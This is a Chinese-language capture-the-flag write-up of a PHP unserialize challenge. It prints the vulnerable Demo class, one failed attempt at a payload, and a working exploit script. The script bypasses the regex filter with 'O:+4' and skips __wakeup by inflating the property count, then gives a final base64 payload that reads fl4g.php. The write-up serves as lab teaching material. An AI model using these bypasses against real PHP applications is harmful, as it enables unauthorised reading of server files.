代码审计
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }、
//接收一个参数 $file 并赋值给私有属性 $filefunction __destruct() { echo @highlight_file($this->file, true); }
//在对象销毁时调用,使用 highlight_file 函数显示 $file 指定的文件内容function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
//在反序列化时自动调用。如果 $file 不是 'index.php',则将其重置为 'index.php'if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); //检查是否存在 $_GET['var'] 参数,如果存在,对其进行 Base64 解码if (preg_match('/[oc]:\d+:/i', $var)) { //使用 preg_match 检查解码后的字符串是否包含 PHP 对象的序列化标识,防止对象注入攻击die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php"); //显示index.php 文件内容
}
?>
显示flag在fl4g.php里面
思路:在绕过干扰函数同时,var传参fl4g.php执行该代码的highlight_file函数
绕过base64_decode函数,进行base64编码
<?php
// 构造一个对象,这个对象会被反序列化后,将 $file 设置为 'fl4g.php'
class Demo {private $file = 'index.php';public function __construct($file) {$this->file = $file;}public function __destruct() {echo @highlight_file($this->file, true);}public function __wakeup() {if ($this->file != 'index.php') {$this->file = 'fl4g.php'; // 这里直接设置 file 为 fl4g.php}}
}// 构造一个合法的序列化对象字符串,并且 Base64 编码
$object = new Demo('evil.php');
$serialized = serialize($object);
$base64_encoded = base64_encode($serialized);// 输出可以使用的 URL 参数
echo 'Payload: ' . urlencode($base64_encoded);
?>
选择构造一个合适的序列化对象的字符串不太行
参考了大佬的方法
在反序列化串的O:前加个加号“+”,绕过
修改反序列化串的对象属性个数(一般大于原个数),绕过wakeup函数
<?php
class Demo { private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo base64_encode($a); //绕过解码函数
?>
最后得到可以使用的base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
构造payload拿到flag: